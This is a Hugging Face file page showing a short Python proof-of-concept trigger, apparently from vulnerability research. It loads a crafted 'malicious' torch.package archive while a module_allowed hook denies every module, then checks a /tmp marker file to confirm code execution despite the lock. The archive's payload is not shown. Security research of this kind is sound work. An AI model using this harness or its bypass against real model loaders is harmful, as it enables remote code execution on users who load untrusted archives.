mscgo77's picture
Upload trigger_stripped.py with huggingface_hub
c99e147 verified
Raw
History Blame Contribute Delete
603 Bytes
import torch.package, os
MARKER = "/tmp/torch_package_builtins_bypass_pwned"
def strict_module_allowed(module_name):
print(f" [defender] module_allowed 호출됨: {module_name!r} -> False로 거부")
return False
print("[victim] extern_modules가 빈 파일인 조작된 아카이브를, module_allowed=False로 완전히 잠근 상태에서 로드...")
importer = torch.package.PackageImporter("malicious_builtins_stripped.pt", module_allowed=strict_module_allowed)
obj = importer.load_pickle("archive", "data.pkl")
print("loaded:", obj)
print("RCE marker exists:", os.path.exists(MARKER))